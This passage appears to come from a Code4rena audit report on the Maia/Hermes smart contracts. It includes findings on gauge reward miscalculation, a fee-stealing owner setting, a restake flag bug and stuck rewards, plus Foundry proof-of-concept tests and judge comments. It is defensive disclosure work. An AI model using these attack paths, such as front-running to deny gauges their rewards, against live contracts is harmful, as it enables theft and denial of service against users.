Maximum 256 length should be enforced so the enconded N(length) value is truthful in addition CheckParams should check if the underlying token matches with the hToken instead of only checking if its an underlying token in the system
#4 - c4-judge
2023-07-25T13:12:55Z
trust1995 marked the issue as selected for report
#5 - 0xLightt
2023-09-06T17:40:55Z
🌟 Selected for report: Voyvoda
5707.2337 USDC - $5,707.23
https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/erc-20/ERC20Gauges.sol#L174-L181 https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/erc-20/ERC20Gauges.sol#L407-L422 https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/rewards/rewards/FlywheelGaugeRewards.sol#L72-L104
One or more gauge will remain without rewards. Malicious user can DOS a selected gauge from receiving rewards.
When a gauge is deprecated its weight is subtracted from totalWeight
, however, the weight of the gauge itself could remain different from 0 (it’s up to the users to remove their votes). That’s reflected in _addGauge()
.
function _addGauge(address gauge) internal returns (uint112 weight) { // some code ... // Check if some previous weight exists and re-add to the total. Gauge and user weights are preserved. weight = _getGaugeWeight[gauge].currentWeight; if (weight > 0) { _writeGaugeWeight(_totalWeight, _add112, weight, currentCycle); } emit AddGauge(gauge); }
When addGauge(...)
is invoked to re-add a gauge that was previously deprecated and still contains votes - _writeGaugeWeight(...)
is called to add the gauge’s weight to totalWeight
. When the write operation to totalWeight
is performed during a new cycle but before updatePeriod
or queueRewardsForCycle()
are called we will have
totalWeight.storedWeight = currentWeight (the weight before update)
,
totalWeight.currentWeight = newWeight (the new weight)
&
totalWeight.currentCycle = cycle (the updated new cycle)
The problem is that when now queueRewardsForCycle()
is called and subsequently in the call chain calculateGaugeAllocation(...)
is called which in turn will request the totalWeight
through _getStoredWeight(_totalWeight, currentCycle)
we will read the old totalWeight
i.e totalWeight.storedWeight
because totalWeight.currentCycle < currentCycle
is false, because the cycle was already updated during the addGauge(...)
call.
function _getStoredWeight(Weight storage gaugeWeight, uint32 currentCycle) internal view returns (uint112) { return gaugeWeight.currentCycle < currentCycle ? gaugeWeight.currentWeight : gaugeWeight.storedWeight; }
This will now cause a wrong calculation of the rewards since we have 1 extra gauge but the value of totalWeight
is less than what it is in reality. Therefore the sum of the rewards among the gauges for the cycle will be more than the total sum allocated by the minter. In other words the function in the code snippet below will be called for every gauge including the re-added but total
is less than what it has to be.
function calculateGaugeAllocation(address gauge, uint256 quantity) external view returns (uint256) { if (_deprecatedGauges.contains(gauge)) return 0; uint32 currentCycle = _getGaugeCycleEnd(); uint112 total = _getStoredWeight(_totalWeight, currentCycle); uint112 weight = _getStoredWeight(_getGaugeWeight[gauge], currentCycle); return (quantity * weight) / total; }
This can now cause several areas of concern. First, in the presented scenario where a gauge is re-added with weight > 0 beforequeueRewardsForCycle(...)
, the last gauge (or perhaps the last few gauges, depends on the distribution of weight) among the active gauges that calls getAccruedRewards()
won’t receive awards since there will be less rewards than what’s recorded in the gauge state. Second, in a scenario where we might have several gauges with a “whale” gauge that holds a majority of votes and therefore will have a large amount of rewards, a malicious actor can monitor for when a some gauge is re-added and frontrun getAccruedRewards()
,potentially through newEpoch()
in BaseV2Gauge
, for all gauges, except the “whale”, and achieving a DOS where the “whale” gauge won’t receive the rewards for the epoch and therefore the reputation of it will be damaged. This can be done for any gauge, but will have more significant impact in the case where a lot of voters are denied their awards.
Initialy there are 2 gauges with 75%/25% split of the votes. The gauge with 25% of the votes is removed for 1 cycle and then re-added during a new cycle but before queuing of the rewards. The 25% gauge withdraws its rewards and the 75% gauge is bricked and can’t withdraw rewards.
Copy the functions testInitialGauge
& testDeprecatedAddedGauge
& helper_gauge_state
in /test/rewards/rewards/FlywheelGaugeRewardsTest.t.sol
Add import "lib/forge-std/src/console.sol";
to the imports
Execute with forge test --match-test testDeprecatedAddedGauge -vv
Result - gauge 2 will revert after trying to collect rewards after the 3rd cycle, since gauge 1 was readded before queuing rewards.
function testInitialGauge() public { uint256 amount_rewards; // rewards is 100e18 // add 2 gauges, 25%/75% split gaugeToken.addGauge(gauge1); gaugeToken.addGauge(gauge2); gaugeToken.incrementGauge(gauge1, 1e18); gaugeToken.incrementGauge(gauge2, 3e18); console.log("--------------Initial gauge state--------------"); helper_gauge_state(); // do one normal cycle of rewards hevm.warp(block.timestamp + 1000); amount_rewards = rewards.queueRewardsForCycle(); console.log("--------------After 1st queueRewardsForCycle state--------------"); console.log('nextCycleQueuedRewards', amount_rewards); helper_gauge_state(); // collect awards hevm.prank(gauge1); rewards.getAccruedRewards(); hevm.prank(gauge2); rewards.getAccruedRewards(); console.log("--------------After getAccruedRewards state--------------"); helper_gauge_state(); } function testDeprecatedAddedGauge() public { uint256 amount_rewards; // setup + 1 normal cycle testInitialGauge(); // remove gauge gaugeToken.removeGauge(gauge1); // do one more normal cycle with only 1 gauge hevm.warp(block.timestamp + 1000); amount_rewards = rewards.queueRewardsForCycle(); console.log("--------------After 2nd queueRewardsForCycle state--------------"); console.log('nextCycleQueuedRewards', amount_rewards); // examine state helper_gauge_state(); hevm.prank(gauge2); rewards.getAccruedRewards(); console.log("--------------After getAccruedRewards state--------------"); // examine state helper_gauge_state(); // A new epoch can start for 1 more cycle hevm.warp(block.timestamp + 1000); // Add the gauge back, but before rewards are queued gaugeToken.addGauge(gauge1); amount_rewards = rewards.queueRewardsForCycle(); console.log("--------------After 3rd queueRewardsForCycle state--------------"); // examine state console.log('nextCycleQueuedRewards', amount_rewards); helper_gauge_state(); // this is fine hevm.prank(gauge1); rewards.getAccruedRewards(); // this reverts hevm.prank(gauge2); rewards.getAccruedRewards(); console.log("--------------After getAccruedRewards state--------------"); // examine state helper_gauge_state(); } function helper_gauge_state() public view { console.log('FlywheelRewards balance', rewardToken.balanceOf(address(rewards))); console.log('gaugeCycle', rewards.gaugeCycle()); address[] memory gs = gaugeToken.gauges(); for(uint i=0; i<gs.length; i++) { console.log('-------------'); (uint112 prior1, uint112 stored1, uint32 cycle1) = rewards.gaugeQueuedRewards(ERC20(gs[i])); console.log("Gauge ",i+1); console.log("priorRewards",prior1); console.log("cycleRewards",stored1); console.log("storedCycle",cycle1); } console.log('-------------'); }
Initialy there are 4 gauges with (2e18 | 2e18 | 6e18 | 4e18) votes respectively. The gauge with 4e18 votes is removed for 1 cycle and then re-added during a new cycle but before queuing of the rewards. The 6e18 gauge withdraws its rewards and the 4e18 gauge withdraws its rewards, the two gauges with 2e18 votes are bricked and can’t withdraw rewards.
Copy the functions testInitialGauge2
& testDeprecatedAddedGauge2
& helper_gauge_state
in /test/rewards/rewards/FlywheelGaugeRewardsTest.t.sol
Execute with forge test --match-test testDeprecatedAddedGauge2 -vv
Result - 2 gauges with 2e18 votes will revert after trying to collect rewards.
function testInitialGauge2() public { uint256 amount_rewards; // rewards is 100e18 // add 4 gauges, 2x/2x/6x/4x split gaugeToken.addGauge(gauge1); gaugeToken.addGauge(gauge2); gaugeToken.addGauge(gauge3); gaugeToken.addGauge(gauge4); gaugeToken.incrementGauge(gauge1, 2e18); gaugeToken.incrementGauge(gauge2, 2e18); gaugeToken.incrementGauge(gauge3, 6e18); gaugeToken.incrementGauge(gauge4, 4e18); console.log("--------------Initial gauge state--------------"); helper_gauge_state(); // do one normal cycle of rewards hevm.warp(block.timestamp + 1000); amount_rewards = rewards.queueRewardsForCycle(); console.log("--------------After 1st queueRewardsForCycle state--------------"); console.log('nextCycleQueuedRewards', amount_rewards); helper_gauge_state(); // collect awards hevm.prank(gauge1); rewards.getAccruedRewards(); hevm.prank(gauge2); rewards.getAccruedRewards(); hevm.prank(gauge3); rewards.getAccruedRewards(); hevm.prank(gauge4); rewards.getAccruedRewards(); console.log("--------------After getAccruedRewards state--------------"); helper_gauge_state(); } function testDeprecatedAddedGauge2() public { uint256 amount_rewards; // setup + 1 normal cycle testInitialGauge2(); // remove gauge gaugeToken.removeGauge(gauge4); // do one more normal cycle with only 3 gauges hevm.warp(block.timestamp + 1000); amount_rewards = rewards.queueRewardsForCycle(); console.log("--------------After 2nd queueRewardsForCycle state--------------"); console.log('nextCycleQueuedRewards', amount_rewards); // examine state helper_gauge_state(); hevm.prank(gauge1); rewards.getAccruedRewards(); hevm.prank(gauge2); rewards.getAccruedRewards(); hevm.prank(gauge3); rewards.getAccruedRewards(); console.log("--------------After getAccruedRewards state--------------"); // examine state helper_gauge_state(); // A new epoch can start for 1 more cycle hevm.warp(block.timestamp + 1000); // Add the gauge back, but before rewards are queued gaugeToken.addGauge(gauge4); amount_rewards = rewards.queueRewardsForCycle(); console.log("--------------After 3rd queueRewardsForCycle state--------------"); console.log('nextCycleQueuedRewards', amount_rewards); // examine state helper_gauge_state(); // this is fine hevm.prank(gauge3); rewards.getAccruedRewards(); // this is fine hevm.prank(gauge4); rewards.getAccruedRewards(); // this reverts hevm.prank(gauge1); rewards.getAccruedRewards(); // this reverts, same weight as gauge 1 hevm.prank(gauge2); rewards.getAccruedRewards(); console.log("--------------After getAccruedRewards state--------------"); // examine state helper_gauge_state(); } function helper_gauge_state() public view { console.log('FlywheelRewards balance', rewardToken.balanceOf(address(rewards))); console.log('gaugeCycle', rewards.gaugeCycle()); address[] memory gs = gaugeToken.gauges(); for(uint i=0; i<gs.length; i++) { console.log('-------------'); (uint112 prior1, uint112 stored1, uint32 cycle1) = rewards.gaugeQueuedRewards(ERC20(gs[i])); console.log("Gauge ",i+1); console.log("priorRewards",prior1); console.log("cycleRewards",stored1); console.log("storedCycle",cycle1); } console.log('-------------'); }
Manual inspection
When a new cycle starts make sure gaguges are re-added after rewards are queued in a cycle.
Timing
#0 - c4-judge
2023-07-09T14:35:14Z
trust1995 marked the issue as primary issue
#1 - c4-judge
2023-07-09T14:35:19Z
trust1995 marked the issue as satisfactory
#2 - c4-sponsor
2023-07-12T17:16:10Z
0xLightt marked the issue as sponsor confirmed
#3 - c4-judge
2023-07-25T13:13:05Z
trust1995 marked the issue as selected for report
#4 - 0xLightt
2023-09-06T17:41:16Z
800.1103 USDC - $800.11
Dao can’t withdraw accumulatedFees
.
In RootBridgeAgent
, _payExecutionGas()
transfers funds for the gas used by anyExecute(...)
as payment to Multichain, whatever is left is stored in accumulatedFees
function _payExecutionGas(uint128 _depositedGas, uint128 _gasToBridgeOut, uint256 _initialGas, uint24 _fromChain) internal { //reset initial remote execution gas and remote execution fee information delete(initialGas); delete(userFeeInfo); if (_fromChain == localChainId) return; //Get Available Gas uint256 availableGas = _depositedGas - _gasToBridgeOut; //Get Root Environment Execution Cost uint256 minExecCost = tx.gasprice * (MIN_EXECUTION_OVERHEAD + _initialGas - gasleft()); //Check if sufficient balance if (minExecCost > availableGas) { _forceRevert(); return; } console2.log("ROOT USED GAS", minExecCost); //Replenish Gas _replenishGas(minExecCost); //Account for excess gas accumulatedFees += availableGas - minExecCost; }
The problem is that at that point the denomination is WETH - as we can see in _replenishGas(...)
that’s converted to ETH and sent. However the sweep()
implementation doesn’t convert WETH to ETH, therefore, there will be insufficient amount of ETH and sweep()
will always revert.
function sweep() external { if (msg.sender != daoAddress) revert NotDao(); uint256 _accumulatedFees = accumulatedFees - 1; accumulatedFees = 1; SafeTransferLib.safeTransferETH(daoAddress, _accumulatedFees); }
Copy the function testSweep()
in test/ulysses-omnichain/RootTest.t.sol
.
Execute with forge test --match-test testSweep -vv
Result - OutOfFund revert
function testSweep() public { testAddLocalTokenArbitrum(); // Accumulate rewards in RootBridgeAgent address some_user = address(0xAAEE); hevm.deal(some_user, 1.5 ether); // Not a valid flag, MulticallRouter will return false, that's fine, we just want to credit some fees bytes memory empty_params = abi.encode(bytes1(0x00)); hevm.prank(some_user); avaxMulticallBridgeAgent.callOut{value: 1.1 ether }(empty_params, 0); // This will revert hevm.prank(dao); multicallBridgeAgent.sweep(); }
Manual inspection
Convert WETH to ETH in sweep()
.
ETH-Transfer
#0 - c4-judge
2023-07-10T09:56:05Z
trust1995 marked the issue as duplicate of #385
#1 - c4-judge
2023-07-10T09:56:11Z
trust1995 marked the issue as satisfactory
#2 - c4-judge
2023-07-11T17:28:02Z
trust1995 marked the issue as partial-50
#3 - c4-judge
2023-07-11T17:28:08Z
trust1995 changed the severity to 3 (High Risk)
#4 - c4-judge
2023-07-25T13:27:43Z
trust1995 marked the issue as full credit
#5 - c4-judge
2023-07-25T14:01:37Z
trust1995 marked the issue as satisfactory
🌟 Selected for report: Voyvoda
1712.1701 USDC - $1,712.17
https://github.com/code-423n4/2023-05-maia/blob/main/src/talos/boost-aggregator/BoostAggregator.sol#L119 https://github.com/code-423n4/2023-05-maia/blob/main/src/talos/boost-aggregator/BoostAggregator.sol#L153
Users who use BoostAggregator
will suffer 100% loss of their rewards.
After users have staked their tokens, the owner of the BoostAggregator
can set protocolFee
to 10 000 (100%) and steal of the users' rewards. Anyone can create their own BoostAggregator
and it is supposed to be publicly used, therefore the owner of it cannot be considered trusted. Allowing the owner to steal users' rewards is an unnecessary vulnerability.
function setProtocolFee(uint256 _protocolFee) external onlyOwner { if (_protocolFee > DIVISIONER) revert FeeTooHigh(); protocolFee = _protocolFee; // @audit - owner can set it to 100% and steal all rewards }
Manual review
Create a mapping which tracks the protocolFee
at which the user has deposited their NFT, upon withdrawing get the protocolFee from the said mapping.
Other
#0 - c4-judge
2023-07-11T09:22:07Z
trust1995 marked the issue as unsatisfactory: Out of scope
#1 - trust1995
2023-07-25T09:37:36Z
Fair level of trust is assumed on receiveing boostAggregator, but loss of yield is serious. Therefore, med is appropriate.
#2 - c4-judge
2023-07-25T09:37:41Z
trust1995 changed the severity to 2 (Med Risk)
#3 - c4-judge
2023-07-25T09:43:51Z
trust1995 marked the issue as satisfactory
#4 - c4-judge
2023-07-25T15:05:58Z
trust1995 marked the issue as primary issue
#5 - trust1995
2023-07-27T09:33:34Z
Different severity from #731 as this requires a malicious aggregator owner, while #731 can happen during normal interaction.
#6 - c4-judge
2023-07-27T11:06:03Z
trust1995 marked the issue as selected for report
#7 - 0xLightt
2023-09-06T17:41:37Z
#8 - c4-sponsor
2023-09-14T14:35:25Z
0xBugsy (sponsor) confirmed
🌟 Selected for report: Kamil-Chmielewski
Also found by: ByteBandits, Co0nan, Madalad, T1MOH, Udsen, Voyvoda, bin2chen, chaduke, jasonxiale, kutugu, said, xuwinnie, zzebra83
23.9127 USDC - $23.91
https://github.com/code-423n4/2023-05-maia/blob/main/src/uni-v3-staker/UniswapV3Staker.sol#L342 https://github.com/code-423n4/2023-05-maia/blob/main/src/uni-v3-staker/UniswapV3Staker.sol#L374
Restaking will not work as expected. People using BoostAggregator
will have to unstake, withdraw, deposit again in order to restake their token.
function restakeToken(uint256 tokenId) external { IncentiveKey storage incentiveId = stakedIncentiveKey[tokenId]; if (incentiveId.startTime != 0) _unstakeToken(incentiveId, tokenId, true); // @audit - boolean passed should be false, instead of true (IUniswapV3Pool pool, int24 tickLower, int24 tickUpper, uint128 liquidity) = NFTPositionInfo.getPositionInfo(factory, nonfungiblePositionManager, tokenId); _stakeToken(tokenId, pool, tickLower, tickUpper, liquidity); }
_unstakeToken
receives a boolean argument isNotRestake
with the idea that if an incentive has ended, adversary can call restake on any token and stake it into the next incentive. The problem is that restakeToken
passes true
instead of false
and corrupts the logic. Because of this, any users using BoostAggregator
will have to unstake and withdraw their tokens and redeposit them into the UniswapV3Staker
via the BoostAggregator
, which is not only inconvenient, but also costs a lot of gas.
Manual review
pass false as an argument in #L342
Context
#0 - c4-judge
2023-07-09T11:36:27Z
trust1995 marked the issue as duplicate of #745
#1 - c4-judge
2023-07-09T11:36:31Z
trust1995 marked the issue as satisfactory
#2 - c4-judge
2023-07-11T17:31:30Z
trust1995 changed the severity to 2 (Med Risk)
240.0331 USDC - $240.03
Permanent loss of rewards
When calling unstakeAndWithdraw
, there is an unnecessary check of pendingRewards > DIVISIONER
. If pendingRewards < DIVISIONER
, the rewards are not distributed, neither to the staker, nor the BoostAggregator. In fact, they stay within the BoostAggregator
but are forever stuck and no one can claim them.
This would especially be a problem when a user has numerous low-value NFTs/ has staked multiple NFTs for very little time.
function unstakeAndWithdraw(uint256 tokenId) external { address user = tokenIdToUser[tokenId]; if (user != msg.sender) revert NotTokenIdOwner(); // unstake NFT from Uniswap V3 Staker uniswapV3Staker.unstakeToken(tokenId); uint256 pendingRewards = uniswapV3Staker.tokenIdRewards(tokenId) - tokenIdRewards[tokenId]; if (pendingRewards > DIVISIONER) { // @audit - unnecessary check leading to loss of funds uint256 newProtocolRewards = (pendingRewards * protocolFee) / DIVISIONER; /// @dev protocol rewards stay in stake contract protocolRewards += newProtocolRewards; pendingRewards -= newProtocolRewards; address rewardsDepot = userToRewardsDepot[user]; if (rewardsDepot != address(0)) { // claim rewards to user's rewardsDepot uniswapV3Staker.claimReward(rewardsDepot, pendingRewards); } else { // claim rewards to user uniswapV3Staker.claimReward(user, pendingRewards); } } // withdraw rewards from Uniswap V3 Staker uniswapV3Staker.withdrawToken(tokenId, user, ""); }
Manual review
Still distribute the rewards, even if they're < DIVISIONER
Other
#0 - c4-judge
2023-07-11T09:21:22Z
trust1995 changed the severity to QA (Quality Assurance)
#1 - c4-judge
2023-07-11T09:21:27Z
trust1995 marked the issue as grade-c
#2 - c4-judge
2023-07-27T08:29:01Z
This previously downgraded issue has been upgraded by trust1995
#3 - c4-judge
2023-07-27T08:29:01Z
This previously downgraded issue has been upgraded by trust1995
#4 - c4-judge
2023-07-27T08:29:12Z
trust1995 marked the issue as duplicate of #698
#5 - c4-judge
2023-07-27T08:29:20Z
trust1995 marked the issue as satisfactory
1953.1316 USDC - $1,953.13
The process of auditing the Hermes protocol started with a review of the tokens implementation and management contracts. This included a review of the ERC20 Boost, Gauge & Vote tokens, as well as the UtilityManagement contract. The team then proceeded to review the distribution of awards ("emissions") over new epochs contained within the "Flywheel" contracts. The final step involved reviewing the Uniswap Staker Incentive mechanics and the novel additions made by the developers.
The architecture of the novel tokens is well-composed, with abstract contracts that are easy to follow. The developers took inspiration from OpenZeppelin's ERC20 Votes contract for the ERC20MultiVotes, and the novel contracts seem to follow the general idea and implementation with a few minor differences. However, the architecture of the rewards distribution part, i.e., the "Flywheel" contracts, was more challenging to grasp. There were some inconveniences, such as having two different contracts (one abstract and one implementation) with the same contract name "FlywheelCore", the naming of contracts was very similar to each other and overall a lack of well-structured documentation in that part of the project. Moreover, user entry points could be better defined. Lastly, the new Uniswap Staker contract follows the main functionality of the original one; however, there are notable differences considering access control.
Overall, the recommendation for the Hermes protocol would be to improve the naming of contracts, design high-level architecture resources such as diagrams, user and contract interaction flows from the perspective of different participants, and expand further on the documentation.
There is a substantial centralization risk due to the use of many onlyOwner
 modifiers. However, for a project of this size, it is hard to completely avoid them. If the developers follow a roadmap that steadily transfers the ownership to the DAO, then the centralization risks would be mitigated, and trust in the ecosystem would improve.
This is an area where we think the developers did an outstanding job. Although test coverage could be higher and include more complex scenarios, we found implementing PoCs extremely easy and trouble-free. This makes us believe that the testability of Hermes is flexible and would be easy to build on with more tests and end-to-end scenarios.
The process of auditing Ulysses-Omnichain started by creating and reviewing the architecture from a high-level perspective, using visualization tools. The audit continued with a thorough review of the contracts, starting with the Branch Chain contracts (Routers, BridgeAgent, BranchPort), followed by a review of the Root Chain contracts (Routers, RootBridgeAgent, RootPort, MulticallRouter), and the Arbitrum specific contracts. The provided test suite was extensively used both to gather more context on the system and to develop PoCs for any identified issues.
The Omnichain system aims to implement cross-chain messaging and asset transfer, which is naturally a complex challenge and inherently requires complex code. The architecture is difficult to grasp, however, after thorough review, we conclude that it is of high enough quality to efficiently achieve the underlying task. The developers incorporate Multichain as the off-chain component that will transfer messages across different chains. Multichain is a robust and easy-to-integrate cross-chain messaging framework, and the developers have made a very informed choice here. The implementation of the Ports and BridgeAgents is of high quality. However, the Routers seem to contain functionality that needs to be extended by dApp developers. Moreover, some of the provided Router contracts had functions that weren't implemented (reverting by default), making it difficult to assess whether there could be potential issues arising from that. There are parts of the Root & Branch BridgeAgent’s implementation such as the anyExecute
 functions that are very long and complex that could benefit from extraction in another contract for better readability. Documentation should also be expanded upon and include high-level architecture resources such as diagrams, user & contract interaction flows from the perspective of different participants. Main area of concern that could contain more severe issues are gas payments.
The centralization risks mainly revolve around the deployed factories. To mitigate these risks and improve trust in the ecosystem, it is recommended that the developers follow a roadmap for gradually transferring ownership to the DAO.
While the test suite has some flaws, such as lengthy and hard-to-follow setup functions, and a lack of complex tests involving nested operations within the anyExecute
 call, the overall testability of the system is commendable. Once the setup is understood, experimenting, developing tests, and implementing PoCs become easy. The developers have provided a high-quality testing sandbox for implementing, testing, and expanding ideas.
In conclusion, the developers have done an excellent job of implementing an ecosystem that encompasses AMM, Rewards, Voting, Staking, and Cross-chain messaging. Conducting an audit significantly contributes to securing the project, but security in large codebases should be an ongoing process. It is highly recommended that the team continues to invest in security measures such as mitigation reviews, audits, and bug bounty programs to maintain the project's security and reliability.
#0 - CloudEllie
2023-07-05T18:52:43Z
Due to technical difficulties with the submission form, teams were not able to submit Analyses. I have added this Analysis manually; the original can be viewed here.
#1 - c4-judge
2023-07-11T14:21:53Z
trust1995 marked the issue as grade-a
#2 - c4-judge
2023-07-11T14:21:58Z
trust1995 marked the issue as satisfactory
#3 - 0xBugsy
2023-07-13T12:37:23Z
Overall complete and well sustained analysis, some doubled paragraphs but must have slipped due to time constraints
#4 - c4-sponsor
2023-07-13T12:37:29Z
0xBugsy marked the issue as sponsor confirmed